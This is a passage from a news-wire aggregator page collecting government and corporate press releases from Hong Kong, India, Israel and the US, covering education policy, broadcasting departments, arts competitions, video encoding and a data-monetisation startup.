    In recent years, Hong Kong students have had outstanding performances beyond the classroom in various fields, such as science and technology, and creative thinking, etc. Much to our delight, they bring glory to Hong Kong with remarkable achievements in international or major competitions, such as the International Mathematical Science and Creativity Competition, Odyssey of the Mind World Finals.

    The EDB also provides diversified activities to offer students with more opportunities to unleash their creativity. We also arrange for students with potential in STEAM to participate in systematic training and competitions of a considerable scale, and they have thrived and flourished on international stages time and again. The EDB also continues to collaborate with the Hong Kong Academy for Gifted Education to promote the effective use of the “school-based student talent pool”, so as to identify students who are gifted in different areas. At the same time, we arrange for students to engage in exchanges with arts and cultural specialists from the Mainland, so that students can gain an understanding of the country’s development and outstanding achievements.

    Developing students’ potential by integrating creativity into assessment

    Assessment is an integral part of the curriculum and learning and teaching. Students’ performance both within and beyond the classroom can reflect their learning progress and inform learning and teaching. The current assessment policy no longer relies solely on the conventional modes of assessment, but employs diversified formative assessments to promote student learning on all fronts and stimulate their learning motivation and curiosity. We have always recommended schools to adopt diversified assessment modes and assignment designs that allow students to demonstrate their learning outcomes and unleash their creativity in the forms of text, images, physical models and others. 

    The EDB continues to organise professional training activities for teachers and develop learning and teaching resources to support teachers in designing assessments and assignments. We also encourage schools to review and optimise their assessment policies, so as to enable students to participate in more inspiring learning activities and develop their potential.

    Starting life planning early in age to understand aspirations

    To help students understand early their own aspirations, interests and abilities, and develop a broader view of further studies, future careers and pathways, the EDB has strengthened LPE at primary and secondary levels.

    Regarding information on subject choices, the EDB organises talks for parents annually and updates the website “One-stop Portal on Articulation to Multiple Pathways·Transition to Senior Secondary and Post-secondary Education” to disseminate the latest information on elective subjects and multiple pathways.

    In addition, through the Life Planning Information website, the EDB provides the latest career information of over 300 types of work from different industries, including director and stage designer, etc. On the website, there is also an online learning system, “My Life Planning Portfolio”, for students to conduct career aptitude assessments.

    The EDB also implements the Business-School Partnership Programme (BSPP) in collaboration with different business corporations, government departments and community organisations. Through the non-traditional learning platform provided by BSPP partners, students have been provided with diversified career exploration activities, with a view to equipping them with knowledge and information about different industries, including arts, culture and entertainment industries. In the 2022/23 school year, the EDB further promoted co-operation between the business sector and schools through launching the BSPP 2.0 with more business partners, covering more industries for widening students’ exposure. Holiday Work Experience Programmes arranged under the BSPP 2.0 enable senior secondary students to gain first-hand experience and understand different industries, including animation production and performing arts industries. Study tours to workplaces under the “Greater Bay Area Career Exploration Tours” Programme also deepen students’ understanding of the developments and talent needs of various industries in the Mainland cities of the Greater Bay Area.

    To conclude, the EDB will continue to optimise the curriculum and collaborate with different stakeholders to nurture students’ creativity through diversified strategies, with a view to cultivating talent for our society.

    Thank you, President.

    MIL OSI Asia Pacific News –

    April 3, 2025
  • MIL-OSI Asia-Pac: LCQ5: Functions of Radio Television Hong Kong and the Information Services Department

    Source: Hong Kong Government special administrative region

    LCQ5: Functions of Radio Television Hong Kong and the Information Services Department 
         Radio Television Hong Kong and the Information Services Department are government departments under the purview of the Commerce and Economic Development Bureau and the Home and Youth Affairs Bureau respectively. There are views that the aforesaid two departments, both being official media agencies, have overlapping functions. In this connection, will the Government inform this Council:
     
    (1) of the specific functions and staff establishment of the two departments;
     
    (2) whether it will, under the financial philosophy of keeping the expenditure within the limits of revenues while exploring new sources of income and managing costs, review how the structure of the two departments can be streamlined to reduce expenditure; and
     
    (3) whether it has explored ways to further enhance the compatibility of the two departments and the feasibility of their merger; if so, of the details; if not, the reasons for that?
     
    Reply:
     
    President,
     
         Having consulted the Home and Youth Affairs Bureau and the Information Services Department (ISD), our consolidated reply to the question raised by Dr the Hon Junius Ho is as follows:
     
         As a government department and the only public service broadcaster in Hong Kong, Radio Television Hong Kong (RTHK) firmly implements the public purposes and mission under the Charter of RTHK, including promoting understanding of “one country, two systems”, proactively assisting in strengthening the dissemination of government information, engendering a sense of citizenship and national identity, and promoting sports and culture and social inclusion. RTHK currently operates five digital television channels and eight AM/FM radio channels. Unlike commercial broadcasters, programmes produced and broadcast by RTHK have to cater for the needs of the mass audience as well as the minority groups including ethnic minorities and the non-Chinese speaking group etc. In this connection, apart from disseminating government information, the radio and television programmes of RTHK also cover various aspects including news, public affairs, national education, sports, culture, lifestyle and education programmes etc.
     
         As for the ISD, it is responsible for the Government’s public relations, news dissemination, publicity and publication matters, and serves as a communication link between the Government and mass media including newspapers, television, radio, and magazines. The ISD also makes good use of the Internet, disseminating government information to the public directly by multi-media content so as to enhance the public’s understanding of and support for the Government’s work. In addition, the ISD also provides professional public relations advice to the Government and promotes government policies and services through different communication platforms and means (including RTHK), with a view to projecting an accurate image of Hong Kong within and outside the city while telling the good stories of Hong Kong.
     
         In view of the above, although RTHK and the ISD are both government departments and both carry the responsibility of disseminating government information, RTHK, as the public service broadcaster; and the ISD, being responsible for the Government’s public relations, perform different duties. There is no overlapping of their functions. As regards staff establishment, the establishment ceilings of RTHK and the ISD in 2024-25 are 762 and 451 posts respectively. Most of the civil service posts of RTHK belong to the Programme Officer grade while most of the civil service posts of the ISD belong to the Information Officer grade. The requirements for work nature, skills and experience of the two grades are different and hence merging the two departments with distinct functions may not be the most effective way to increase revenue and reduce expenditure in terms of overall operations. In addition, regardless of whether the merge would be implemented by having the Director of Information Services or the Director of Broadcasting to oversee both the ISD and RTHK, it would be difficult for the head of the merged department to manage the work of the two departments of which their missions, scopes of services and modes of operation are distinctly different. On the contrary, the merge may confuse the public with the role of RTHK as a public service broadcaster and the ISD in promoting the Government, which may be counterproductive to the Government’s overall public relations works.
     
         Notwithstanding the above, in response to the Productivity Enhancement Programme announced in the 2025-26 Budget, both RTHK and the ISD will comprehensively review their staffing and operation. In particular, RTHK will introduce appropriate measures including streamlining its structure and utilising technology for programme production etc to reduce manpower without affecting the quality of RTHK’s programmes and services. At present, RTHK has been committed to deploying artificial intelligence (AI) in developing smart broadcasting. Last year, RTHK officially launched the AI Lab, streamlining production flow with AI technology, as well as adopting various AI-generated tools to enhance productivity. This will not only improve the quality of programmes but also result in a more cost-effective use of manpower. Besides, the ISD will continue to make effective use of existing platforms of the Government while keeping in view market developments and global trends to step up the Government’s work in policy promotion and information dissemination. The ISD will also closely monitor the implementation of programmes under its purview and review their effectiveness regularly for the sake of more flexible and effective use of resources.
     
         Despite the different roles of RTHK and the ISD, we agree that the two departments can co-operate with each other and leverage their strengths, to promote government’s policies and disseminate government information more effectively. As such, both sides will continue to strengthen collaboration, for instance, the ISD is actively planning to work with RTHK on programme production under the theme of “Commemorating the 80th Anniversary of Victory in the War of Resistance” to promote patriotism through storytelling in a vivid manner. RTHK can leverage the ISD’s strength in running a wide range of platforms and make use of those platforms to enhance the reach of its programmes, taking advantage of the synergy to tell good stories of the country and Hong Kong. Meanwhile, RTHK will continue to solidify its role as the public service broadcaster, including striving to strengthen its partnership with different broadcasters in the Mainland and other regions, continuing to produce different types of programmes on various themes in order to provide diversified radio and television programme choices for the public.
    Issued at HKT 14:50

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    CategoriesMIL-OSI

    MIL OSI Asia Pacific News –

    April 3, 2025
  • MIL-OSI Asia-Pac: Hong Kong Flower Show photo competition entries to close on April 15

    Source: Hong Kong Government special administrative region

    Hong Kong Flower Show photo competition entries to close on April 15 
         The photo competition is jointly presented by the Leisure and Cultural Services Department (LCSD) and Television Broadcasts Limited (TVB). The competition aims to promote community greening with impressive photographs of flowers and plants on display, interesting or touching scenes captured at the showground, and portraits of TVB artistes and Miss Hong Kong titleholders with beautiful garden displays as a background.
     
         The photo competition is divided into three categories: Category A – Portrait of TVB Artistes and Miss Hong Kong; Category B – Flowers; and Category C – Snapshots.
     
         Entries for Category A, comprising the Open and Student Sections, must be photos of TVB artistes and Miss Hong Kong titleholders taken by entrants to the activity, Portrait Photo Shooting Session, on March 13 at the showground in Victoria Park. Entries for Category B must be photos of flowers including garden displays or floral art exhibits taken at the showground during the show period. Entries for Category C must be photos of interesting features or moments at the flower show taken during the show period.
     
         Results of the competition will be announced in June on the flower show webpage. Winners will be notified in writing for the collection of prizes. All winning entries will be uploaded onto the flower show webpage for public viewing at the same time.
     
         For enquiries, please call 2601 8260 or refer to the flower show webpage www.hkflowershow.hk/en/hkfs/2025/photo_rs.html 
         The HKFS is organised by the LCSD. The Hong Kong Jockey Club Charities Trust has supported the flower show for the 13th consecutive year and has been its major sponsor since 2014.
    Issued at HKT 11:00

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    CategoriesMIL-OSI

    MIL OSI Asia Pacific News –

    April 3, 2025
  • MIL-OSI Asia-Pac: Finalists for WAVES Comics Creator Championship & WAVES Awards of Excellence Announced

    Source: Government of India

    Posted On: 01 APR 2025 7:37PM by PIB Mumbai

    Mumbai/Bhopal, 1 April 2025

     

    The Ministry of Information and Broadcasting (MIB), Government of India, in collaboration with Indian Comics Association (ICA) and ASIFA India, has announced the finalists for two prestigious competitions under the WAVES Create in India Challenge—the WAVES Comics Creator Championship and the WAVES Awards of Excellence.

    The competitions have attracted participation from across India and internationally, highlighting the country’s potential as a global hub for content creation, intellectual property, and technological innovation. The winners will be announced at the World Audio Visual and Entertainment Summit (WAVES 2025), scheduled to be held in Mumbai from May 1-4, 2025.

    Additional Director General, PIB, Bhopal, Shri Prashant Pathrabe said that, WAVES is an important event that provides a global platform for professional entrepreneurs, investors, producers and innovators to connect, collaborate, innovate and contribute in the entertainment sector.

       

    Photo caption : Shri Prashant Pathrabe, Additional Director General, PIB Bhopal addressing the ceremony of announcement of finalists of Waves Comics Creator Championship and Waves Awards of Excellence

     

    WAVES Comics Creator Championship:

    Indian Comics Association (ICA) President Ajitesh Sharma stated that ICA has selected 10 teams for the final round and that the candidates for the final round were selected based on their creative story, artistic skills and overall impact.

    Photo caption: Shri Ajitesh Sharma, President, Indian Comics Association addressing the Waves Comics Creator Championship and Waves Awards of Excellence finalists announcement ceremony.

    The finalists for the Comics Creator Championship are as follows:

    Finalists – Professional Category:

    1. Mohit Sharma (Meerut) – Ayush Kumar (Delhi)

    2. Aparna Chaurasia (Chhatarpur)

    3. Bijoy Raveendran (Delhi) – Tadam Gyadu (Delhi)

    4. Puneet Shukla (Gorakhpur) – Piyush Kumar (Ranchi)

    5. Tejas Janardhan Kamble (Mumbai)

    Finalists – Amateur Category:

    1. Suvojit Pal (Howrah) – Vivek Pradhan (Raipur)

    2. Vindhyarsh Mishra (Bareilly)

    3. Rohit Shukla (Chennai) – Shivangi Shaily (Indore)

    4. Ritesh Patra (Kolkata)

    5. Randeep Singh (Kendrapara)

    Jury Panel for Comics Creator Championship

    The five-member jury to evaluate the competition entries included: Dilip Kadam – Renowned comic artist and illustrator; Nikhil Pran – Acclaimed comic creator and son of Pran Kumar Sharma; Jajil Homaveer – Creator of the web manga The Beast Legion; Sanjay Gupta – Founder of Raj Comics; Preeti Vyas – President & CEO of Amar Chitra Katha. The jury panel will now select the winners by evaluating the Semi-Finalists’ entries. The selected 10 Finalists will then compete at the Mumbai Waves Event from 1-4 May 2025.The final competition will take place at WAVES 2025 in Mumbai, where the best talents in Indian comics will be recognized on an international stage.

    ASIFA announces Waves’ Awards of Excellence

    The WAVES Awards of Excellence, organized by ASIFA (Association Internationale du Film d’Animation) India under the Create in India Challenge, has received 1,331 entries from 28 Indian states and 13 countries.

    Shri Sanjay Khimesara, President, ASIFA India addressing the Waves Comics Creator Championship and Waves Awards of Excellence finalists announcement ceremony.

    Jury for WAVES Awards of Excellence

    The evaluation process for the WAVES Awards of Excellence was led by an esteemed five-member international jury, ensuring global standards in selection: Dr. Anastasia Dimitra (Greece) – VP, ASIFA International & Animation Educator; Briana Yarhouse (USA) – Director, Awards of Excellence & Professor; Pramita Mukherjee (USA) – Sr. Creature FX Developer, DreamWorks; Dhimant Vyas (India) – Professor of Practice, IDC School of Design; B.N. Vichar (India) – Art Director, Technicolor Games

    The winning entries will receive mentorship, global exposure, and networking opportunities with industry leaders.

     

    Final Nominations-Professionals

    1

    Patrick

    Smith

    ASIFA24102

    Onward Ye Costumed Souls

    USA

    2

    Fabian

    Driehorst

    ASIFA24142

    Little Fan

    Germany

    3

    Yingyan Chen

    Linxiao Zhou, Zehao Chen

    ASIFA24205

    Online interview

    China

    4

    Long Qin

    CHINA

    ASIFA24207

    IN BEWTEEN

    China

    5

    Suresh

    Eriyat

    ASIFA24298

    The Seed

    Mumbai, India

    6

    Adithi

    Krishnadas

    ASIFA24299

    The Legend of Arana

    Mumbai, India

    7

    Suresh

    Eriyat

    ASIFA24302

    Pune Design Festival Versus Ident Film

    Mumbai, India

    8

    Swati

    Agarwal

    ASIFA24654

    Chalisa’

    Mumbai, India

    9

    Swathy

    Pushpalochanan

    ASIFA24678

    Anpu

    Kollam, Kerala

    10

    Bimal

    Poddar

    ASIFA24693

    IPL opening graphics

    Mumbai, India

    11

    Bimal

    Poddar

    ASIFA24694

    Home season opening graphics/Legend

    Mumbai, India

    12

    Bimal

    Poddar

    ASIFA24696

    RADHA

    Mumbai, India

    13

    Bimal

    Poddar

    ASIFA24697

    13th Portal

    Mumbai, India

    14

    Bimal

    Poddar

    ASIFA24698

    More kaka

    Mumbai, India

    15

    Prateek

    Sethi

    ASIFA24726

    Informa Markets In India – Milan

    Mumbai, India

    16

    Ujwal

    Nair

    ASIFA24740

    Lucky Dog

    Chennai, India

    17

    Gary

    Schwartz

    ASIFA2492

    FLINTMATION ll

    USA

    18

    David

    Ehrlich

    ASIFA2494

    A New World

    USA

    19

    Suresh

    Eriyat

    ASIFA251377

    Desi Oon

    Mumbai, India

    20

    Amit

    Sonawane

    ASIFA251402

    What’s Your Story

    Mumbai, India

    Top 26 Nominated works includes Showreels/Shorts from students from across India including states/UT’s of Madhya Pradesh, Maharashtra, Kerala, West Bengal, Chandigarh, Punjab, Rajasthan, Uttarakhand, Haryana, Gujarat, New Delhi.

    Final Nominations- Students

    S.No

    First Name

    Last Name

    Tracking Number

    Project Title

    Location

    1

    Varun

    Choudhry

    ASIFA24942

    Varun Choudhry | Modeling Reel 2024

    Mumbai

    2

    Hussain

    Bohra

    ASIFA24744

    IRAN 600 BC

    Udaipur

    3

    Shavikant

    Chauhan

    ASIFA24474

    texturing showreel

    Surat

    4

    Karan

    Meghlan

    ASIFA24930

    Karan_Malghan_Modeling_Texturing_Reel_Wave

    Pune

    5

    Rajat

    Aingh

    ASIFA241036

    CG Lighting Showreel_Rajat Singh

    Chandigarh

    6

    Ajit Tanaji

    Kinare

    ASIFA24881

    CG Lighting

    Mumbai

    7

    Ankan

    Samanta

    ASIFA24850

    Rigging Showreel By Ankan Samanta

    Hooghly, WB

    8

    Sumedha

    Paul

    ASIFA24814

    Rigging Showreel

    Kolkata

    9

    Arjun

    kumar

    ASIFA24157

    Animation Showreel

    Chandigarh

    10

    Arpit

    Thakur

    ASIFA24948

    Animation Showreel By ARPIT THAKUR

    Chandigarh

    11

    Kumkum

    Gupta

    ASIFA24966

    Digital_Painting_Kumkum Gupta

    Mumbai

    12

    Ishwari

    Tarkar

    ASIFA24969

    Digital_Painting_Ishwari_Tarkar

    Mumbai

    13

    Tarun

    None

    ASIFA24800

    Digital Matte Painting

    Bengaluru

    14

    Arena

    Andheri

    ASIFA241073

    Matte Paint-Sameer Parab

    Mumbai

    15

    ElangoM

    Elango

    ASIFA241306

    Digital matte painting

    Bengaluru

    16

    Prajval

    Nanote

    ASIFA241005

    Motion graphic

    sausar
    Chhindwara,MP

    17

    Sk

    Nur Islam

    ASIFA241121

    Motion Graphics Showreel

    Malda, WB

    18

    Sourav

    Bishwakarma

    ASIFA241202

    Compositing Showreel

    Kanchrapara,WB

    19

    Varun

    Sapkal

    ASIFA24565

    Showreel Varun Sapkal VFX

    Mumbai

    20

    Vijay

    Bangar

    ASIFA24922

    Kothrud_Vijay_Bangar

    Kothrud, Pune

    21

    Shaikh

    Sahil

    ASIFA241176

    Avengers: Infinity War movie Shots

    Mankhurd, Mumbai

    22

    Aditi

    Dixit

    ASIFA251357

    Showreel

    Delhi

    23

    Rutvik

    Dhole

    ASIFA24736

    Arwick 2d Animated explainer Video Ad

    Not specified

    24

    Debopom

    Chakraborty

    ASIFA24661

    Rasmalai

    Gurgaon, Haryana

    25

    Kartik

    Mahajan

    ASIFA24731

    Phool Dei

    Dehradun, Utta

    26

    Harshita

    Nehlani

    ASIFA251352

    Adhoori Pehchaan [Incomplete Identity]

    GLS, A’bad

     

    About WAVES

    The first World Audio Visual & Entertainment Summit (WAVES), a milestone event for the Media & Entertainment (M&E) sector, will be hosted by the Government of India in Mumbai, Maharashtra, from May 1 to 4, 2025.

    Whether you’re an industry professional, investor, creator, or innovator, the Summit offers the ultimate global platform to connect, collaborate, innovate and contribute to the M&E landscape.

    WAVES is set to magnify India’s creative strength, amplifying its position as a hub for content creation, intellectual property, and technological innovation. Industries and sectors in focus include Broadcasting, Print Media, Television, Radio, Films, Animation, Visual Effects, Gaming, Comics, Sound and Music, Advertising, Digital Media, Social Media Platforms, Generative AI, Augmented Reality (AR), Virtual Reality (VR), and Extended Reality (XR).

    Have questions? Find answers here  

    Stay updated with the latest announcements from PIB Team WAVES

    Come, Sail with us! Register for WAVES now

     

    * * *

    PIB TEAM WAVES 2025 | Prashant/ Ajay/ Samir/ Prem/ Dhanalakshmi/ Darshana | 84

     

    Follow us on social media: @PIBMumbai    /PIBMumbai     /pibmumbai   pibmumbai[at]gmail[dot]com  /PIBMumbai     /pibmumbai

    (Release ID: 2117473) Visitor Counter : 63

    MIL OSI Asia Pacific News –

    April 3, 2025
  • MIL-OSI: Fast Track to AV1 with Beamr: High-Quality at a Fraction of the Cost

    Source: GlobeNewswire (MIL-OSI)

    Beamr will showcase its high-performance AV1 solutions, accelerated by NVIDIA GPUs, and with simple, competitive pricing, at the 2025 NAB Show in Las Vegas

    HERZLIYA, Israel, April 02, 2025 (GLOBE NEWSWIRE) — Beamr Imaging Ltd. (NASDAQ: BMR), a leader in video optimization technology and solutions, will showcase its high-quality, cost-effective solution for AV1 (AOMedia Video 1) codec upgrades at the 2025 NAB Show (Meeting room SL1730MR), held in Las Vegas from April 5-9, along with a simple, competitive pricing plan.

    Accelerated by NVIDIA GPUs and integrated with NVENC, an on-chip hardware-accelerated video encoder within NVIDIA GPUs, Beamr’s technology enables scalable, efficient AV1 upgrades with superior performance and high-quality results. While AV1 is an advanced video codec with improved image quality and superior compression, Beamr offers up to 30% additional compression.

    Beamr provides AV1 encoding at a quarter of the cost or less compared to CPU-based solutions and other alternatives, bringing it in line with AVC (H.264) encoding costs. Readily accessible on cloud platforms such as Amazon Web Services (AWS) and Oracle Cloud Infrastructure (OCI), as well as private cloud or on-premises environments, Beamr simplifies AV1 adoption for companies working with videos at large scale – across media and entertainment, user-generated content, AI, and more.

    “Available through straightforward, affordable pricing, Beamr removes barriers to AV1 adoption and allows users improved performance while significantly reducing video file sizes without sacrificing quality,” said Beamr CEO Sharon Carmel. “Our tests also show that optimized AV1 files by Beamr maintain full accuracy in AI applications such as facial recognition, action detection and enhancing machine learning models.”

    AV1 is backed by tech giants within the Alliance for Open Media (AOMedia), and it is widely supported across most operating systems and web browsers, as well as recent smartphone models, smart TVs and more. Despite these advantages, complexity and high adoption costs have limited AV1’s usage.

    Beamr’s video optimization technology is integrated with NVENC, and is available across multiple GPU platforms:

    The NVENC SDK 12.1 release added an API that supports external control and enables users to tightly integrate hardware encoders with support for AV1.

    Beamr video experts will be available throughout the NAB Show, April 5-9 in Las Vegas, to discuss cost-effective, high-quality, high-performance AV1 upgrades. For one-on-one meetings (Meeting room SL1730MR) please use this link.

    For more details about Beamr’s AV1 offering, visit this link.

    About Beamr

    Beamr (Nasdaq: BMR) is a world leader in content-adaptive video optimization and modernization. The company serves top media companies like Netflix and Paramount. Beamr’s inventive perceptual optimization technology (CABR) is backed by 53 patents and won the Emmy® award for Technology and Engineering. The innovative technology reduces video file size by up to 50% while guaranteeing quality.

    Beamr Cloud is a high-performance, GPU-based video optimization and modernization service designed for businesses and video professionals across diverse industries. It is conveniently available to Amazon Web Services (AWS) and Oracle Cloud Infrastructure (OCI) customers. Beamr Cloud enables video modernization to advanced formats such as AV1 and HEVC, and is ready for video AI workflows. For more details, please visit www.beamr.com

    Forward-Looking Statements

    This press release contains “forward-looking statements” that are subject to substantial risks and uncertainties. Forward-looking statements in this communication may include, among other things, statements about Beamr’s strategic and business plans, technology, relationships, objectives and expectations for its business, the impact of trends on and interest in its business, intellectual property or product and its future results, operations and financial performance and condition. All statements, other than statements of historical fact, contained in this press release are forward-looking statements. Forward-looking statements contained in this press release may be identified by the use of words such as “anticipate,” “believe,” “contemplate,” “could,” “estimate,” “expect,” “intend,” “seek,” “may,” “might,” “plan,” “potential,” “predict,” “project,” “target,” “aim,” “should,” “will” “would,” or the negative of these words or other similar expressions, although not all forward-looking statements contain these words. Forward-looking statements are based on the Company’s current expectations and are subject to inherent uncertainties, risks and assumptions that are difficult to predict. Further, certain forward-looking statements are based on assumptions as to future events that may not prove to be accurate. For a more detailed description of the risks and uncertainties affecting the Company, reference is made to the Company’s reports filed from time to time with the Securities and Exchange Commission (“SEC”), including, but not limited to, the risks detailed in the Company’s annual report filed with the SEC on March 4, 2025 and in subsequent filings with the SEC. Forward-looking statements contained in this announcement are made as of the date hereof and the Company undertakes no duty to update such information except as required under applicable law.

    Investor Contact:

    investorrelations@beamr.com

    Agency Contact
    Moe Lokat
    Wall Street Communications
    +44 7973 306039
    moe@wallstcom.com 

    The MIL Network –

    April 3, 2025
  • MIL-OSI Asia-Pac: Union government to establish 440 Eklavya Model Residential School (EMRS), one EMRS in every block having more than 50% ST population and at least 20,000 tribal persons (as per census 2011)

    Source: Government of India

    Posted On: 02 APR 2025 4:02PM by PIB Delhi

    The Union Minister of State for Tribal Affairs Shri Durga Das Uikey informed in Rajya Sabha today that the Central Sector Scheme of Eklavya Model Residential School (EMRS) was started in the year 2018-19 to provide quality education at par with Navodaya Vidyalaya to the tribal children in their own environment.

    Under the new scheme, Government decided to establish 440 EMRSs, one EMRS in every block having more than 50% ST population and at least 20,000 tribal persons (as per census 2011). 288 EMRS schools were initially funded under Grants under Article 275(1) of the Constitution, which are being upgraded as per the new model.

    Accordingly, Ministry has set the target to set up total of 728 EMRSs benefiting around 3.5 lakh ST students across the country. To ensure quality education and holistic development for tribal students following facilities are being provided in EMRSs: –

    Educational Infrastructure:

      • Well-equipped classrooms with modern teaching aids.
      • Science and computer laboratories.
      • Libraries with diverse learning resources.
    1. Accommodation and Amenities:
      • Residential facilities for students and staff.
      • Separate hostels for boys and girls with essential amenities like bedding, furniture, and hygiene facilities.

         3.    Sports and Extracurricular Facilities:

    • Playgrounds and sports equipment.
      • Facilities for extracurricular activities like music, art, and sports
    1. Health and Nutrition:
      • Regular health check-ups and medical facilities.
    1. IT and Digital Learning:
      • Smart classrooms for digital education.
      • Computer labs with internet access.
    1. Vocational Training:
      • Skill development and vocational training programs to enhance employability.

     

    Further, National Education Society for Tribal Students (NESTS) has been established as an autonomous body under this Ministry to manage and implement scheme of EMRS. NESTS has organized Principals’ Conclave bringing together all Principals of EMRSs from across the country for orientation in the areas of academic management, mental health, safety, HR matters etc. and the conclave enriched their knowledge and professional skills. NESTS has also empowered State societies to impart induction training to Teacher’s towards residential culture and academic transactions.

     

    The Ministry is implementing several initiatives in collaboration with other government bodies to provide tribal students with access to digital and skill-based education while maintaining the traditional curriculum.  These initiatives include:

     

    i)    Establishment of Smart classrooms equipped with digital boards in partnership with ERNET, Ministry of Electronics and Information Technology (MeitY), to enhance digital learning in tribal schools.

    ii)    Setting-up of 400 Skill Labs in 200 EMRSs in collaboration with the Ministry of Skill Development and Entrepreneurship (MoSDE) to provide hands-on vocational training and industry-relevant skills to students.

    iii)     Provision of online coaching sessions for IIT-JEE and NEET, along with recorded lectures tailored for Class 11 and 12 students, in collaboration with PACE- IIT & Medical. Additionally, special classes and focused training modules are provided to support both high-performing and academically weaker students.

    iv)     Allocation of a dedicated DTH channel by NCERT to enhance both curricular and extracurricular learning, including vocational education, ensuring wider accessibility for students in remote areas.

    Additionally, to preserve and promote traditional curricula, regional language teachers have been recruited to support language learning and cultural continuity.

    Ministry of Tribal Affairs is implementing following Scholarship Schemes to promote and encourage basic and higher education amongst ST population: –

    1.  
    • Pre-Matric Scholarship for ST students (For Class IX and X)
    • Post Matric Scholarship for ST students (For Class XI and above)
    • National Scholarship Scheme for Higher Education of ST Students (earlier known as Top Class Scholarship Scheme): Scholarship is provided for pursuing Graduate/Post Graduate courses in the 265 top-class Government and Non-Government Institutes in professional fields such as Management, Medicine, Engineering, Information Technology, Law etc.
    • National Fellowship Scheme for Higher Education of ST Students: Scholarship to meritorious ST students for pursuing M. Phil or Ph.D. in India
    • National Overseas Scholarship for ST students: Scholarships are given to the meritorious Schedule Tribe (ST) students for pursuing higher education abroad. Pre and Post matric Scholarships scheme are open ended and every ST student with income up to 2.5 lakh can take benefit of these schemes.

    Additionally, to encourage students to pursue higher studies, instructions have been issued to state societies to cover the application fees for national-level entrance examinations such as NEET, JEE, CLAT, etc., for students studying in Class XII in Eklavya Model Residential Schools (EMRSs). The cost of these application fees is to be borne by the respective State EMRS Societies, thereby reducing the financial burden on students and their families.

    ******

    RN/PIB

     

    (Release ID: 2117788) Visitor Counter : 9

    MIL OSI Asia Pacific News –

    April 3, 2025
  • MIL-OSI: DebitMyData Launches Digital Identity LLM-Driven by Agentic Avatar System – Your Data Earns While You Sleep

    Source: GlobeNewswire (MIL-OSI)

    FORT LAUDERDALE, Fla., April 02, 2025 (GLOBE NEWSWIRE) — DebitMyData disrupts the digital economy with its proprietary LLM platform, enabling users to earn passive income from their data while combating AI-driven job displacement and DeepFakes. The beta launch introduces Agentic Avatars, blockchain-secured identity NFTs, AnimeGamer Video-to-Image and Image-to-Video AI—connecting advertisers non-intrusively to their audience.

    Preska Thomas, Founder/CEO of DebitMyData and widely regarded as the “Satoshi Nakamoto of NFTs,” envisions a future where human beings own their image, voice—even their thoughts—and are compensated fairly for their contributions to AI. Preska explains:

    “We train AI systems to value human energy by compensating individuals for their data. DebitMyData bridges the gap between humans and AI by creating a system where digital footprints become valuable assets. This is how we achieve AI utopia—by ensuring humans own themselves.”

    Preska Thomas further emphasizes the importance of this mission:

    “Current AI models exploit human data without fair compensation. DebitMyData flips the script by training AI to value and reward individuals for their energy. Whether you’re a gamer or a local business owner, your digital footprint is now your revenue stream.”

    DebitMyData, Inc. Logo

    DebitMyData is Stripe Payment for Your Data and Plaid for Data

    Every click, search, Netflix binging or post generates valuable data, but until now, only corporations have profited from it. DebitMyData flips this model.

    Why DebitMyData Matters Across Industries

    DebitMyData offers displaced “idle workers” an alternative to Universal Basic Income by enabling them to monetize their digital footprints. Users can earn income through ad leases, NFT royalties, and sponsorships, transforming their data into a sustainable revenue source.

    DebitMyData integrates with platforms like Google Ads, Revive, and Prebid to optimize marketing strategies. Creators can design dynamic NFT Collections and make them available as banners for cross-platform ad campaigns, enhancing personalization with embedded visuals that engage niche markets.

    Image by DebitMyData

    “We’re not just building technology—we’re empowering industries,” said Preska Thomas. “From gamers creating anime-inspired stories to logistics firms managing supply chains securely or celebrities monetizing their personal brands while combating deepfakes—we’re giving individuals and businesses the tools to unlock unprecedented value from their digital identities.”

    Join the today by signing up for DebitMyData’s beta program at debitmydata.com. For media inquiries or partnership opportunities, contact us at Contactus@debitmydata.com.

    Henry Cision
    Debit My Data, Inc.
    (954) 354-2399
    https://debitmydata.com/

    Photos accompanying this announcement are available at
    https://www.globenewswire.com/NewsRoom/AttachmentNg/fe495146-6dbf-4366-9a27-9deada5d0501

    https://www.globenewswire.com/NewsRoom/AttachmentNg/fecd37f9-c3d2-467e-8973-09d555a05865

    A video accompanying this announcement is available at
    https://www.globenewswire.com/NewsRoom/AttachmentNg/de028cfc-e5b4-4dfe-af5f-872b058f1174

    The MIL Network –

    April 3, 2025
  • MIL-OSI Asia-Pac: India Invites Chile to WAVES 2025: Union Minister of State Dr. L. Murugan meets Chilean Minister Carolina Arredondo during President Gabriel Boric Font’s visit

    Source: Government of India

    Posted On: 02 APR 2025 4:27PM by PIB Delhi

    Union Minister of State for Information & Broadcasting and Parliamentary Affairs, Dr. L. Murugan, met with the Minister of Culture, Arts & Heritage of Chile, H.E. Mrs. Carolina Arredondo, in New Delhi as part of Chile President Gabriel Boric Font’s five-day visit to India.

                                           

    Union Minister of State Dr. L. Murugan Invites Chile to WAVES 2025

    The Hon’ble Minister facilitated various discussions, especially regarding the upcoming World Audio Visual & Entertainment Summit (WAVES), slated to take place from 1st to 4th May, 2025. The Hon’ble Minister extended an invitation for the event and presented H.E. Mrs. Carolina Arredondo with a painting depicting Indian sculptures.

    The meeting was also attended by members of the Chilean delegation, including Mr. Martín Gormaz, Third Secretary at the Embassy of Chile, along with Mr. Lakshmi Chandra, Under Secretary, Ministry of External Affairs, and Dr. Ajay Nagabhushan M.N., Joint Secretary (Films), Ministry of Information and Broadcasting.

    Had an insightful meeting with H.E. Mrs. Carolina Arredondo, Hon’ble Minister of Culture, Arts & Heritage of #Chile.
    Discussed avenues to strengthen India-Chile cultural cooperation, enhance collaborations in arts and heritage, and further deepen our bilateral ties

    The meeting… pic.twitter.com/XmjtnqjCww

    — Dr.L.Murugan (@Murugan_MoS) April 1, 2025

    Expanding India-Chile Cooperation

    The President of the Republic of Chile, H.E. Mr. Gabriel Boric Font is on a State visit to India from 1st to 5th April, 2025, commemorating the completion of 76 years of diplomatic relations between the two countries. Apart from New Delhi, President Boric is set to visit Agra, Mumbai, and Bengaluru. This is the first visit of President Boric to India.

    Hon’ble Prime Minister Shri Narendra Modi and President of the Republic of Chile, H.E. Mr. Gabriel Boric Font, during their discussions, agreed to initiate talks for a Comprehensive Economic Partnership Agreement, aiming to expand economic linkages between the two nations. They identified and discussed critical sectors such as minerals, energy, defence, space, and agriculture as areas with immense potential for collaboration.

